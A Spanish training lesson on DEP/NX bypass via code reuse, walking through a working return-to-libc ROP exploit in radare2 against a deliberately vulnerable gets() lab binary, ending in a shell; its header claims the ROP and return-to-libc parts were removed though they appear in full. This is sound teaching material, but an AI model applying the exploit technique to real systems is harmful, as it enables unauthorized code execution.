Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Memoria y mitigaciones / 23

DEP, NX y reutilización de código

LoberaFormación técnica23 / 33 · 6 min de lectura · Linux / Windows · x86-64
23 / 33

Relacionar permisos de memoria, transferencias de control y mitigaciones de ejecución.

Consultar conceptos ↗
Edición parcial: diferencias con el original

Se excluyen la construcción de cadenas ROP y los procedimientos de return-to-libc del original. Esta página conserva la explicación de DEP, reutilización de código y protecciones complementarias.

En esta lección ampliamos el análisis de la entrega anterior sobre explotación de desbordamientos de buffer en x64 aprendiendo a bypasear el mecanismo de Prevención de Ejecución de Datos, también conocido como DEP.

Acerca de la Prevención de Ejecución de Datos

Si recordamos bien, en nuestro ejemplo anterior explotamos una aplicación de servidor simple y tuvimos la oportunidad de ejecutar código alojado dentro de la pila compilando la aplicación vulnerable con el parámetro -z execstack. Básicamente ese parámetro marca la pila como ejecutable, así que podemos sobrescribir la dirección de RET (que se pasará a RIP) con alguna posición JMP/CALL/etc hacia nuestro shellcode en la pila. DEP funciona haciendo uso del bit NX. El bit NX (no-execute) o XD (eXecute Disabled) es una tecnología usada en CPUs para segregar áreas de memoria entre almacenamiento de instrucciones de procesador (código) o almacenamiento de datos. La pila se marca como zona de almacenamiento de datos.

Cuando DEP está habilitado (el SO soporta DEP) y el ejecutable lo tiene activo (compilado sin -z execstack), un exploit como el que escribimos fallará provocando una excepción ACCESS VIOLATION y ahí se quedará todo.

Normalmente, el mecanismo DEP puede bypassearse aplicando lo que se denomina un «ataque de reutilización de código» (code reuse attack). Un ataque de reutilización de código es una técnica de explotación que, tras obtener el control del puntero de instrucción, redirige el flujo de control del ejecutable hacia código existente que se ajusta a las necesidades del atacante. Es decir, sobrescribiremos áreas de memoria bajo nuestro control para redirigir el flujo de ejecución no hacia código en la pila, sino hacia instrucciones ubicadas en la parte ejecutable de la memoria que nos sean útiles. Return-into-library y secuencias de instrucciones preexistentes (gadgets) son ejemplos de esta técnica.

Cadenas ROP

Sabiendo eso, podemos sobrescribir la memoria apilando varias direcciones en la pila. La primera dirección apuntará a una secuencia de instrucciones donde la primera es la instrucción que queremos que el programa ejecute, SEGUIDA de una instrucción ret. La instrucción ret entonces hará POP de la dirección en el tope de la pila y continuará la ejecución desde ahí... ¿lo captas? Empiezas a hacer esto una y otra vez y básicamente obtienes lo que se llama una cadena ROP o cadena de programación orientada a retornos (Return Oriented Programming).

Una cadena ROP puede verse como algo así:

Acerca de «return to libc»

Si queremos implementar un ataque de cadena ROP necesitaremos encontrar código útil en memoria, especialmente código que tenga la posibilidad de hacer cosas útiles. Para nosotros, cosas útiles significará ejecutar funciones como system() para ejecutar comandos, o quizás listen()/connect()/accept(), write(), etc. Y siempre que sea posible nos gustaría poder usar esta misma estrategia en cualquier sitio. Ahí es donde la LIBC resulta muy conveniente. La LIBC es omnipresente en software compilado en C en sistemas Linux x64 al menos. Así que las cadenas ROP que escribamos usando direcciones de memoria de esta librería se ejecutarán en una amplia variedad de programas.

Una de las funciones más útiles contenidas en la librería LIBC es system(). En resumen, ejecuta un programa/comando especificado como parámetro. En nuestro caso nos gustaría ejecutar /bin/sh con ella para lanzar una shell. (Si te preguntas por qué querría hacer eso en un programa que ya se ejecuta desde la terminal en la máquina donde ya tengo una shell, te sugiero investigar sobre el sticky bit y los ataques SUID.)

Vamos a inspeccionar cómo funciona la llamada a system():

C
#include <stdlib.h>

int main(){
system("/bin/sh");

}

Compilamos y desensamblamos el código en r2:

ENSAMBLADOR / REFERENCIA
[0x55555555464a]> pdf
            ;-- main:
            ;-- rax:
            ;-- rip:
/ (fcn) sym.main 23
|   sym.main ();
|              ; DATA XREF from 0x55555555455d (entry0)
|           0x55555555464a      55             push rbp
|           0x55555555464b      4889e5         mov rbp, rsp
|           0x55555555464e      488d3d9f0000.  lea rdi, qword str.bin_sh ; 0x5555555546f4 ; "/bin/sh" ; const char * string
|           0x555555554655      e8c6feffff     call sym.imp.system     ; int system(const char *string)
|           0x55555555465a      b800000000     mov eax, 0
|           0x55555555465f      5d             pop rbp
\           0x555555554660      c3             ret
[0x55555555464a]> 

Y básicamente vemos /bin/sh siendo pasado como parámetro usando el registro rdi y system() siendo llamada.

También es importante para nosotros comprobar el proceso de cómo funciona la función system(), así podremos identificarla y depurar mejor nuestro exploit más adelante:

ENSAMBLADOR / REFERENCIA
[0x55555555464a]> pdf
            ;-- main:
            ;-- rax:
/ (fcn) sym.main 23
|   sym.main ();
|              ; DATA XREF from 0x55555555455d (entry0)
|           0x55555555464a      55             push rbp
|           0x55555555464b      4889e5         mov rbp, rsp
|           0x55555555464e      488d3d9f0000.  lea rdi, qword str.bin_sh ; 0x5555555546f4 ; "/bin/sh" ; const char * string
|           ;-- rip:
|           0x555555554655      e8c6feffff     call sym.imp.system     ; int system(const char *string)
|           0x55555555465a      b800000000     mov eax, 0
|           0x55555555465f      5d             pop rbp
\           0x555555554660      c3             ret
[0x55555555464a]> pxw @ rdi
0x5555555546f4  0x6e69622f 0x0068732f 0x3b031b01 0x00000038  /bin/sh....;8...

[0x555555554520]> ds
[0x7ffff7a31420]> pdf
p: Cannot find function at 0x7ffff7a31420
[0x7ffff7a31420]> pd 10
        :   ;-- rip:
        :   0x7ffff7a31420      4885ff         test rdi, rdi
       ,==< 0x7ffff7a31423      740b           je 0x7ffff7a31430
       |`=< 0x7ffff7a31425      e966faffff     jmp 0x7ffff7a30e90
       |    0x7ffff7a3142a      660f1f440000   nop word [rax + rax]
       `--> 0x7ffff7a31430      488d3d594916.  lea rdi, qword [0x7ffff7b95d90] ; "exit 0"
            0x7ffff7a31437      4883ec08       sub rsp, 8
            0x7ffff7a3143b      e850faffff     call 0x7ffff7a30e90

Y habiendo visto eso, intentemos explotar este programa de ejemplo de este excelente post del blog

C
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void greet_me(){

        char name[200];
        gets(name);
        printf("hi there %s !!\n",name);
}

int main(int argc, char *argv[]){

        greet_me();

        return 0;

}

Podemos compilarlo:

TERMINAL
gcc -w -fno-stack-protector vuln.c -o vuln -D_FORTIFY_SOURCE0

El programa es simple: llama a greet_me() y luego escribimos cualquier cadena en un buffer limitado a 200 bytes. Como ya hemos visto, podemos desbordar el buffer enviando una cadena mayor de 200. Para agilizar podemos usar nuestra herramienta de patrones o ragg2 para generar un patrón y empezar a identificar las posiciones donde podemos controlar el buffer.

Ejecutaremos el programa; nos pedirá una cadena pero... ¿cómo se la pasamos al depurador de radare2? Podemos usar rarun2 para eso. Primero creamos un script como el siguiente:

CÓDIGO / SALIDA
#!/usr/bin/rarun2
stdio=/dev/pts/1
stdin=./payload

Donde payload es el buffer que queremos enviar a la ejecución (gets()). Podemos generar nuestro payload con:

TERMINAL
python3 exploit.py > payload

OR 

pattern_create.py 900 > payload

Después, radare2 se ejecutará así:

TERMINAL
r2 -e dbg.profile=./script.rr2 -dA vuln

Sabiendo eso, procedemos y ejecutamos el programa mientras lo depuramos:

La pila tiene este aspecto:

CÓDIGO / SALIDA
[0x5555555546c6]> dr 
rax = 0x00000265
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
r8 = 0x00000000
r9 = 0x00000258
r10 = 0x5555557574d1
r11 = 0x00000246
r12 = 0x555555554580
r13 = 0x7fffffffe0e0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x555555757270
rdi = 0x00000001
rsp = 0x7fffffffdfe8
rbp = 0x3168413068413967
rip = 0x5555555546c6
rflags = 0x00010202
orax = 0xffffffffffffffff
[0x5555555546c6]> 

[0x5555555546c6]> pxw @ rsp
0x7fffffffdfe8  0x41326841 0x68413368 0x35684134 0x41366841  Ah2Ah3Ah4Ah5Ah6A
0x7fffffffdff8  0x68413768 0x39684138 0x41306941 0x69413169  h7Ah8Ah9Ai0Ai1Ai
0x7fffffffe008  0x33694132 0x41346941 0x69413569 0x37694136  2Ai3Ai4Ai5Ai6Ai7

Vemos que desbordamos correctamente la pila y tenemos control sobre RBP.

CÓDIGO / SALIDA
lab@lab-VirtualBox:~$ python3 exploit-pattern/pattern.py 0x3168413068413967
Pattern 0x3168413068413967 first occurrence at position 208 in pattern.
lab@lab-VirtualBox:~$ python3 exploit-pattern/pattern.py 0x41326841
Pattern 0x41326841 first occurrence at position 216 in pattern.
lab@lab-VirtualBox:~$ 

Como sabemos que podemos controlar la pila / rbp y en qué posiciones, podemos empezar a dibujar un esqueleto para nuestro exploit:

CÓDIGO / SALIDA
import sys
import struct
buf = b"A"* 208
buf += b"BBBBBBBB" #RBP overwrite
buf += struct.pack('<Q',0x7fffffffdfe8) #RIP overwrite
sys.stdout.buffer.write(buf)

Y de nuevo usar rarun para lanzarlo:

TERMINAL
python3 exploit.py > payload
r2 -e dbg.profile=./script.rr2 -dA vuln

En este punto empezaríamos a construir nuestro exploit haciendo uso de una cadena ROP. Primero necesitamos conocer las librerías disponibles, cargadas en el programa. Y buscar específicamente la LIBC:

CÓDIGO / SALIDA
[0x7ffff7dd4090]> iiq
free
_ITM_deregisterTMCloneTable
r_run_config_env
puts
dup2
strchr
r_run_parseline
close
__libc_start_main
strcmp
signal
r_run_new
__gmon_start__
r_run_free
r_run_start
r_run_help
r_str_newf
__printf_chk
r_sys_cmd
fwrite
_ITM_registerTMCloneTable
sleep
__cxa_finalize
stderr
_ITM_deregisterTMCloneTable
__libc_start_main
__gmon_start__
_ITM_registerTMCloneTable
__cxa_finalize
stderr

dm mostrará las librerías mapeadas en memoria. Podemos ver libc ahí:

CÓDIGO / SALIDA
[0x7fffffffdfe8]> dm
0x0000555555554000 # 0x0000555555555000 - usr     4K s -r-x /home/lab/vuln /home/lab/vuln ; map.usr_bin_rarun2._r_x
0x0000555555754000 # 0x0000555555755000 - usr     4K s -r-- /home/lab/vuln /home/lab/vuln
0x0000555555755000 # 0x0000555555756000 - usr     4K s -rw- /home/lab/vuln /home/lab/vuln ; map.usr_bin_rarun2._rw
0x0000555555756000 # 0x0000555555777000 - usr   132K s -rw- [heap] [heap] ; section_end.GNU_RELRO
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr   1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr     2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr    16K s -r-- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr     8K s -rw- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fe2000 # 0x00007ffff7fe4000 - usr     8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr     4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 * usr   132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x7fffffffdfe8]> 

Y podemos buscar específicamente las posiciones de LIBC usando dmm:

CÓDIGO / SALIDA
[0x5555555546c7]> dmm~libc 
0x7ffff79e2000 /lib/x86_64-linux-gnu/libc-2.27.so

Con eso conocemos la dirección base de libc una vez cargada en memoria. Si localizamos direcciones de funciones relevantes en memoria, podremos saber a qué distancia están de la dirección base y usar esa diferencia para llamarlas. Esto también puede hacerse offline en modo estático analizando el fichero de librería (.so).

También podemos hacerlo para encontrar direcciones tanto estáticas como dinámicas para nuestras llamadas de interés:

CÓDIGO / SALIDA
[0x7ffff7dd4090]> dmi libc system~ system$
Unknown library, or not found in dm
[0x7ffff7dd4090]> dcu main
Continue until 0x5555555546c7 using 1 bpsize
hit breakpoint at: 5555555546c7
[0x5555555546c7]> dmi libc system~ system$
1406 0x0004f420 0x7ffff7a31420   WEAK   FUNC   45 system
[0x5555555546c7]> 

Necesitaremos system() para lanzar un comando y exit() para salir del programa sin romper demasiado las cosas, básicamente.

CÓDIGO / SALIDA
[0x5555555546c7]> dmi libc exit~ exit$
132 0x00043110 0x7ffff7a25110 GLOBAL   FUNC   26 exit
[0x5555555546c7]> 

Y también necesitaremos un pop rdi, para poder usarlo para cargar un parámetro en RDI (/bin/sh) antes de la llamada a system().

CÓDIGO / SALIDA
[0x5555555546c7]> /R pop rdi
  0x555555554753                 5f  pop rdi
  0x555555554754                 c3  ret

Y un ret para poder alinear la pila a 16B al ejecutar: (nota que podemos encontrar instrucciones como ret, pop, etc., tanto en el espacio de libc como en el espacio general del programa)

CÓDIGO / SALIDA
[0x5555555546c7]> /R ret
  0x55555555428f                 94  xchg eax, esp
  0x555555554290               f2f8  clc
  0x555555554292               2021  and byte [rcx], ah
  0x555555554294                 5a  pop rdx
  0x555555554295                 c3  ret

  0x555555554291                 f8  clc
  0x555555554292               2021  and byte [rcx], ah
  0x555555554294                 5a  pop rdx
  0x555555554295                 c3  ret

Lo que queda es la dirección donde podemos encontrar la cadena /bin/sh (para poder cargar un puntero a ella dentro de rdi antes de llamar a system()).

Y como dijimos, podemos analizar directamente el fichero de libc y buscar la cadena. Encontraremos la dirección (estática).

CÓDIGO / SALIDA
lab@lab-VirtualBox:~$ r2 -A /lib/x86_64-linux-gnu/libc.so.6
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00021da0]> / /bin/sh
Searching 7 bytes in [0x0-0x1e6a7c]
hits: 1
Searching 7 bytes in [0x3e7618-0x3f0ae0]
hits: 0
0x001b3d88 hit0_0 .cempty == 1-c/bin/shexit 0canonica.
[0x00021da0]> 

O podemos quizás hacer lo mismo en modo dinámico en radare buscando en todo el espacio de memoria:

CÓDIGO / SALIDA
[0x5555555546c7]> e search.in = dbg.maps
[0x5555555546c7]> / /bin/sh
0x7ffff7b95d88 hit0_0 .cempty == 1-c/bin/shexit 0canonica.

Y podemos restar la dirección base de libc a cualquier dirección fácilmente para conocer el delta:

CÓDIGO / SALIDA
[0x5555555546c7]> ?X 0x7ffff7b95d88-0x7ffff79e2000 
1b3d88

Así que acabamos con las variables para nuestra cadena ROP de la siguiente forma:

CÓDIGO / SALIDA
libc_base_address = 0x7ffff79e2000
pop_rdi = 0x555555554753
ret = 0x555555554295
bin_sh = libc_base_address+0x1b3d88
system_call = libc_base_address+0x4f420
exit_call = libc_base_address+0x43110

Y podemos integrarlo en nuestro exploit:

CÓDIGO / SALIDA
import sys
import struct

libc_base_address = 0x7ffff79e2000

pop_rdi = 0x555555554753
ret = 0x555555554295

bin_sh = libc_base_address+0x1b3d88
system_call = libc_base_address+0x4f420
exit_call = libc_base_address+0x43110

buf = b"A"* 208
buf += b"BBBBBBBB" #RBP overwrite

#buf += struct.pack('<Q',ret)
buf += struct.pack('<Q',pop_rdi) #RIP overwrite
buf += struct.pack('<Q',bin_sh) #RIP overwrite
buf += struct.pack('<Q',system_call) #RIP overwrite
buf += struct.pack('<Q',exit_call) #RIP overwrite

sys.stdout.buffer.write(buf)

Y ya sabemos qué hacer. Podemos saltar a la función greet y colocar un breakpoint después de ret (recuerda: ret intentará retornar a la dirección en el tope de la pila, y nosotros controlamos la pila).

ENSAMBLADOR / REFERENCIA
[0x55555555468a]> db 0x5555555546c6
[0x55555555468a]> dc
hit breakpoint at: 5555555546c6
[0x55555555468a]> pdf
/ (fcn) sym.greet_me 61
|   sym.greet_me ();
|           ; var int local_d0h @ rbp-0xd0
|              ; CALL XREF from 0x5555555546db (sym.main)
|           0x55555555468a      55             push rbp
|           0x55555555468b      4889e5         mov rbp, rsp
|           0x55555555468e      4881ecd00000.  sub rsp, 0xd0
|           0x555555554695      488d8530ffff.  lea rax, qword [local_d0h]
|           0x55555555469c      4889c7         mov rdi, rax
|           0x55555555469f      b800000000     mov eax, 0
|           0x5555555546a4      e8b7feffff     call sym.imp.gets       ; char*gets(char *s)
|           0x5555555546a9      488d8530ffff.  lea rax, qword [local_d0h]
|           0x5555555546b0      4889c6         mov rsi, rax
|           0x5555555546b3      488d3dba0000.  lea rdi, qword str.hi_there__s ; 0x555555554774 ; "hi there %s !!\n"
|           0x5555555546ba      b800000000     mov eax, 0
|           0x5555555546bf      e88cfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5555555546c4      90             nop
|           0x5555555546c5      c9             leave
|           ;-- rip:
\           0x5555555546c6 b    c3             ret
[0x55555555468a]> 

Comprobamos que nuestro exploit se está disparando:

CÓDIGO / SALIDA
[0x55555555468a]> dr
rax = 0x000000eb
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
r8 = 0x00000000
r9 = 0x000000de
r10 = 0xffffff22
r11 = 0x00000246
r12 = 0x555555554580
r13 = 0x7fffffffe0c0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x555555757270
rdi = 0x00000001
rsp = 0x7fffffffdfc8
rbp = 0x4242424242424242
rip = 0x5555555546c6
rflags = 0x00000206
orax = 0xffffffffffffffff
[0x55555555468a]> 

[0x55555555468a]> pxw @ rsp
0x7fffffffdfc8  0x55554753 0x00005555 0xf7b95d88 0x00007fff  SGUUUU...]......
0x7fffffffdfd8  0xf7a31420 0x00007fff 0xf7a25110 0x00007fff   ........Q......
0x7fffffffdfe8  0xf7a03c00 0x00007fff 0x00000001 0x00000000  .<..............
0x7fffffffdff8  0xffffe0c8 0x00007fff 0x00008000 0x00000001  ................
0x7fffffffe008  0x555546c7 0x00005555 0x00000000 0x00000000  .FUUUU..........
0x7fffffffe018  0x276cc210 0x3e4d7841 0x55554580 0x00005555  ..l'AxM>.EUUUU..

Vemos que tenemos nuestros parámetros en la pila listos para ser pop-eados.

ENSAMBLADOR / REFERENCIA
[0x55555555468a]> pd 10 @ 0x0000555555554753
|           0x555555554753      5f             pop rdi
\           0x555555554754      c3             ret

[0x55555555468a]> pxw @ 0x00007ffff7b95d88
0x7ffff7b95d88  0x6e69622f 0x0068732f 0x74697865 0x63003020  /bin/sh.exit 0.c
0x7ffff7b95d98  0x6e6f6e61 0x6c616369 0x2e657a69 0x534d0063  anonicalize.c.MS
0x7ffff7b95da8  0x52455647 0x45530042 0x454c5f56 0x004c4556  GVERB.SEV_LEVEL.

[0x55555555468a]> pd 10 @ 0x00007ffff7a31420
        :   0x7ffff7a31420      4885ff         test rdi, rdi
       ,==< 0x7ffff7a31423      740b           je 0x7ffff7a31430
       |`=< 0x7ffff7a31425      e966faffff     jmp 0x7ffff7a30e90
       |    0x7ffff7a3142a      660f1f440000   nop word [rax + rax]
       `--> 0x7ffff7a31430      488d3d594916.  lea rdi, qword [0x7ffff7b95d90] ; "exit 0"
            0x7ffff7a31437      4883ec08       sub rsp, 8
            0x7ffff7a3143b      e850faffff     call 0x7ffff7a30e90
            0x7ffff7a31440      85c0           test eax, eax
            0x7ffff7a31442      0f94c0         sete al
            0x7ffff7a31445      4883c408       add rsp, 8

Todos colocados correctamente. Podemos continuar manualmente la ejecución del programa con ds, paso a paso, y vemos que al menos estamos entrando en la llamada a system():

ENSAMBLADOR / REFERENCIA
[0x555555554753]> pd 10
|           ;-- rip:
|           0x555555554753      5f             pop rdi
\           0x555555554754      c3             ret

[0x555555554753]> ds
[0x555555554753]> dr rdi
0x7ffff7b95d88
[0x555555554753]> pxw @ rdi
0x7ffff7b95d88  0x6e69622f 0x0068732f 0x74697865 0x63003020  /bin/sh.exit 0.c

[0x7ffff7a31420]> ds
[0x7ffff7a31420]> pd 10
        :   0x7ffff7a31420      4885ff         test rdi, rdi
        :   ;-- rip:
       ,==< 0x7ffff7a31423      740b           je 0x7ffff7a31430
       |`=< 0x7ffff7a31425      e966faffff     jmp 0x7ffff7a30e90
       |    0x7ffff7a3142a      660f1f440000   nop word [rax + rax]
       `--> 0x7ffff7a31430      488d3d594916.  lea rdi, qword [0x7ffff7b95d90] ; "exit 0"
dc

Pero si comprobamos, veremos que nuestro exploit no está funcionando del todo bien como esperábamos:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~$ (python3 exploit.py ; cat) | ./vuln

hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBSGUUUU !!
ls
lab@lab-VirtualBox:~$ 

Eso es porque la pila necesita estar alineada a 16B (convención x64). Comprueba antes y después de añadir un RET extra como padding:

CÓDIGO / SALIDA
BEFORE
[0x55555555468a]> pxw @ rsp
0x7fffffffdfc8  0x55554753 0x00005555 0xf7b95d88 0x00007fff  SGUUUU...]......
0x7fffffffdfd8  0xf7a31420 0x00007fff 0xf7a25110 0x00007fff   ........Q......
0x7fffffffdfe8  0xf7a03c00 0x00007fff 0x00000001 0x00000000  .<..............

AFTER
[0x55555555468a]> pxw @ rsp
0x7fffffffdfc8  0x55554295 0x00005555 0x55554753 0x00005555  .BUUUU..SGUUUU..
0x7fffffffdfd8  0xf7b95d88 0x00007fff 0xf7a31420 0x00007fff  .]...... .......
0x7fffffffdfe8  0xf7a25110 0x00007fff 0x00000000 0x00000000  .Q..............

WE DO A STEP
ds
[0x555555554295]> pxw @ rsp
0x7fffffffdfd0  0x55554753 0x00005555 0xf7b95d88 0x00007fff  SGUUUU...]......
0x7fffffffdfe0  0xf7a31420 0x00007fff 0xf7a25110 0x00007fff   ........Q......
0x7fffffffdff0  0x00000000 0x00000000 0xffffe0c8 0x00007fff  ................
CÓDIGO / SALIDA
lab@lab-VirtualBox:~$ (python3 exploit.py ; cat) | ./vuln

ls 
file1
file2
flag.txt

Con esto concluye el ejemplo.

Referencias

Comprobación personal

Antes de continuar

Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.